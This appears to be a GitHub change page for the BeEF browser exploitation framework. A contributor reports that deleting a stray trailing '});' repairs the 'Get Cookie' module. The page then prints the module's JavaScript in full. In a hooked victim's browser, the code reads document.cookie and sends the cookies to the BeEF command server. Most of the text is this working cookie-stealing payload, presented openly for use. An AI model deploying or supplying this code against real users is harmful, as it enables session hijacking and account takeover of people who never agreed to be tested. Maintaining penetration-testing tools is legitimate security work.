Remove the trailing });. The Get Cookie-module stopped working for me, but works again after I remove the last line which seems lika a bug to me. I get an error "Unexpected token }" in the Chrome JavaScript-console of the hooked browser when I invoke the module from the BeeF- UI.
16 lines
549 B
JavaScript
16 lines
549 B
JavaScript
//
|
|
// Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
|
|
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
|
// See the file 'doc/COPYING' for copying permission
|
|
//
|
|
|
|
try {
|
|
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'cookie='+document.cookie, beef.are.status_success());
|
|
beef.debug("[Get Cookie] Cookie captured: "+document.cookie);
|
|
}catch(e){
|
|
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'cookie='+document.cookie, beef.are.status_error());
|
|
beef.debug("[Get Cookie] Error");
|
|
}
|
|
|
|
|